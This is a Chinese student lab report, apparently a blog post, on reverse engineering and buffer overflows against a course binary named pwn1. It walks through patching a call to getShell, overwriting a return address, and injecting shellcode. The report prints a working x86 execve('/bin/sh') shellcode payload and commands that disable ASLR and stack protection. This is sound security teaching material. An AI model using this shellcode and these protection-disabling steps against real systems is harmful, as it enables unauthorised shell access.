1 逆向及Bof基础实践说明

1.1 实践目标

  • 本次实践的对象是一个名为pwn1的linux可执行文件。

  • 该程序正常执行流程是:main调用foo函数,foo函数会简单回显任何用户输入的字符串。

  • 该程序同时包含另一个代码片段,getShell,会返回一个可用Shell。正常情况下这个代码是不会被运行的。我们实践的目标就是想办法运行这个代码片段。我们将学习两种方法运行这个代码片段,然后学习如何注入运行任何Shellcode。

本次实验的三个实践内容如下:

  • 手工修改可执行文件,改变程序执行流程,直接跳转到getShell函数。
  • 利用foo函数的Bof漏洞,构造一个攻击输入字符串,覆盖返回地址,触发getShell函数。
  • 注入一个自己制作的shellcode并运行这段shellcode。
  • 这几种思路,基本代表现实情况中的攻击目标:

  • 运行原本不可访问的代码片段
  • 强行修改程序执行流
  • 以及注入运行任意代码。

    1.2 基础知识

  • 对于非计算机专业不太接触底层代码的我们信息管理与信息系统专业来说,必需先了解一些必要的基础知识。

1.2.1 掌握NOP, JNE, JE, JMP, CMP汇编指令的机器码

  - NOP指令:“空指令”。执行到NOP指令时,CPU什么也不做,仅仅当做一个指令执行过去并继续执行NOP后面的一条指令。

  - JNE指令:条件转移指令(等同于“Jump Not Equal”),如果不相等则跳转。

  - JE指令:条件转移指令,如果相等则跳转。

  - JMP指令:无条件跳转指令。无条件跳转指令可转到内存中任何程序段。转移地址可在指令中给出,也可以在寄存器中给出,或在存储器中指出。

  - CMP指令:比较指令,功能相当于减法指令,只是对操作数之间运算比较,不保存结果。cmp指令执行后,将对标志寄存器产生影响。其他相关指令通过识别这些被影响       的标志寄存器位来得知比较结果。

1.2.2 机器指令

   - 是CPU能直接识别并执行的指令,它的表现形式是二进制编码。机器指令通常由操作码和操作数两部分组成,操作码指出该指令所要完成的操作,即指令的功能,操作数指出参与运算的对象,以及运算结果所存放的位置等。

1.2.3 缓冲区溢出

NOTE:

  • 缓冲区攻击的最终目的就是希望系统能执行这块可读写内存中已经被蓄意设定好的恶意代码
  • 在计算机程序中,就是数据使用到了被分配内存空间之外的内存空间。而缓冲区溢出,简单的说就是计算机对接收的输入数据没有进行有效的检测(理想的情况是程序检查数据长度并不允许输入超过缓冲区长度的字符),向缓冲区内填充数据时超过了缓冲区本身的容量,而导致数据溢出到被分配空间之外的内存空间,使得溢出的数据覆盖了其他内存空间的数据。

1.2.4 注入ShellCode

NOTE:

ShellCode在攻击中扮演的角色是一段原本不会被执行的机器指令。当缓冲区溢出导致设计好的ShellCode的首地址“恰巧”覆盖在了栈顶返回地址retAdd时,其被执行导致用户获得bash权限。

1.2.5常用的Linux基本操作

objdump -d:从objfile中反汇编那些特定指令机器码的section。
perl -e:后面紧跟单引号括起来的字符串,表示在命令行要执行的命令。
xxd:为给定的标准输入或者文件做一次十六进制的输出,它也可以将十六进制输出转换为原来的二进制格式。
ps -ef:显示所有进程,并显示每个进程的UID,PPIP,C与STIME栏位。
|:管道,将前者的输出作为后者的输入。
>:输入输出重定向符,将前者输出的内容输入到后者中。

1.2.6 shellcode的编写方式主要有以下三种:

  • 直接编写十六进制操作码;
  • 使用如C语言等高级语言编写程序,然后进行编译并反汇编,以获取汇编指令及十六进制操作码;
  • 编写汇编程序,将该程序汇编,然后从二进制中提取十六进制操作码。

1.2.7 反汇编了解程序基本功能

- foo函数功能:将用户输入的字符再次在屏幕上显示出来。
- getshell函数功能:打开一个可用Shell。
- main函数中调用了foo函数。
- objdump -s test
    除了显示test的全部Header信息,还显示他们对应的十六进制文件代码
- objdump -D test
   与-d类似,但反汇编test中的所有section
- objdump -d test
  反汇编test中的需要执行指令的那些section
- objdump -x test
  显示test的全部Header信息
- objdump -h test
  显示test的Section Header信息
- objdump -f test
  显示test的文件头信息

任务一:直接修改程序机器指令,改变程序执行流程

  • 先复制一份文件 试着运行

  • 反汇编,了解程序的基本功能。用指令objdump反汇编20162326

  • 在图形化的16进制编程器中,查找要修改的内容
    /e8d7 修改d7为c3

root@Kali:~# apt-get install wxhexeditor
root@Kali:~# wxHexEditor
![](https://img2018.cnblogs.com/blog/1062699/201903/1062699-20190317200200015-1754715391.png)
  • 反汇编看一下,call指令是否正确调用getShell

  • 运行下改后的代码,会得到shell提示符#


成功!

任务二:通过构造输入参数,造成BOF攻击,改变程序执行流

  • 进入gdb,输入字串1111111122222222333333334444444455555555

-如图,我们可以看到本来应返回到foo函数的返回地址已被5555覆盖

  • getShell的内存地址,通过反汇编时可以看到,即0804847d。

  • 将input的输入,通过管道符“|”,作为pwn1的输入。

任务三:注入Shellcode并执行

1.简介

  • shellcode就是一段机器指令(code)
  • 通常这段机器指令的目的是为获取一个交互式的shell(像linux的shell或类似windows下的cmd.exe),
    所以这段机器指令被称为shellcode。
  • 在实际的应用中,凡是用来注入的机器指令段都通称为shellcode,像添加一个用户、运行一条指令。

  • 该实验必须在以下的条件下运行
    (1)关闭堆栈保护(gcc -fno-stack-protector)

(2)关闭堆栈执行保护(execstack -s)

(3)关闭地址随机化 (/proc/sys/kernel/randomize_va_space=0)

(4)在x32环境下

(5)在Linux实践环境

  • 准备工作

apt-get install execstack  //先下载这个指令

root@Kali:~# execstack -s pwn1    //设置堆栈可执行
root@Kali:~# execstack -q pwn1    //查询文件的堆栈是否可执行
X pwn1
root@Kali:~# more /proc/sys/kernel/randomize_va_space
2
root@Kali:~# echo "0" > /proc/sys/kernel/randomize_va_space //关闭地址随机化
root@Kali:~# more /proc/sys/kernel/randomize_va_space 
  • 构造要注入的payload
    Linux下有两种基本构造攻击buf的方法:

retaddr+nop+shellcode ——
恶意代码 < 缓冲区大小
nop+shellcode+retaddr ——
恶意代码 > 缓冲区大小

root@Kali:~# perl -e 'print "\x90\x90\x90\x90\x90\x90\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80\x90\x4\x3\x2\x1\x00"' > input_shellcode

  • 下一步,再开另外一个终端,用gdb来调试pwn1这个进程
ps -ef | grep pwn1    
//寻找 pwn1 的进程号码
gdb             //调试进程

 1. disassemble foo 命令来反汇编
 2.设置断点,查看注入buf的内存地址
 3. 用 break 命令设置断点,输入continue继续运行,在pwn1进程的终端继续执行。
 4. 返回调试终端,info r esp命令查找地址
 5. 用x/16x 0xffffd2ac命令查看其存放内容,为0x01020304(返回地址的位置)。根据input_shellcode可知地址应为0xffffd2b0
 6.将之前的\x4\x3\x2\x1改为这个地址即可

感想

  • 作为信管专业的学生,对于计算机底层知识了解甚少,而实验必须结合机器语言、汇编语言等先导知识,所以得做到边学边做。
    着实比较费心。而且实验过程中遇到了很多虚拟机的问题。
  • 我对本次实验的理解:实验1和实验2都是调用文件本身的Getshell,不同之处在于,实验1是直接修改可执行文件中的机器语言,以达修改程序进程,运行getshell的目的
  • 实验2是通过缓冲区溢出攻击技术,找到返回地址并覆盖之,达到getshell的目的
  • 实验3则是构造一个Shellcode,注入buf进行攻击,使得运行我们的shellcode从而获得对方的shell

什么是漏洞?漏洞的危害?

  • 漏洞是指一个系统存在的弱点或缺陷,系统对特定威胁攻击或危险事件的敏感性,或进行攻击的威胁作用的可能性。
  • 如果存在安全漏洞不及时修复的话并且计算机内没有防病毒软件的话,轻则使计算机操作系统某些功能不能正常使用,重则会使用户账号密码丢失、破坏系统等严重后果。
  • 随着时间的推移,旧的漏洞会不断消失,新的漏洞会不断出现,漏洞问题也会长期存在。随着用户的深入使用,系统中存在的漏洞会被不断暴露出来,这些早先被发现的漏洞也会不断被系统供应商发布的补丁软件修补,或在以后发布的新版系统中得以纠正。而在新版系统纠正了旧版本中具有漏洞的同时,也会引入一些新的漏洞和错误

最新文章

  1. Ansible Tower
  2. poj2115-C Looooops(扩展欧几里德算法)
  3. 走着官方的教程入门Material Design(一)
  4. jquery实现点击页面其他地方隐藏指定元素
  5. This project needs to migrate WTP metadata
  6. C++ typedef用法小结
  7. Kinetic使用注意点--group
  8. Android(性能)
  9. [ACM] POJ 3061 Subsequence (仿真足)
  10. Erlang虚拟机的启动
  11. 在数据库里面有这么一个表:用m代表男,用f代表女,现在我要输出格式为中文的:男和女,sql语句该怎么写
  12. 数据库性能优化(database tuning)性能优化绝不仅仅只是索引
  13. 剑指offer面试题4 替换空格(c)
  14. docker 发布方式尝试
  15. centos中安装虚拟机
  16. range()函数
  17. 帝国cms建站方法和知识点
  18. Python 全栈开发二 python基础 字符串 字典 集合
  19. 在js中if条件为null/undefined/0/NaN/&quot;&quot;表达式时,统统被解释为false,此外均为true
  20. The compiler compliance specified is 1.5 but a JRE 1.8 is used

热门文章

  1. MQTT的学习研究(十七)Mosquitto简要教程(安装&amp;使用)
  2. Android 系统镜像: boot.img kernel.img ramdisk.img system.img userdata.img cache.img recovery.img
  3. 单例模式与静态变量在PHP中 (转载)
  4. eclipse中切换jdk版本
  5. JSP 通过Session和Cookie实现网站自动登录
  6. centos6.5安装sendmail
  7. 微信小程序 --- 登录页面
  8. mysql 远程连接超时解决办法
  9. nginx安装和测试 (已验证)
  10. SVN创建主干,分支、合并分支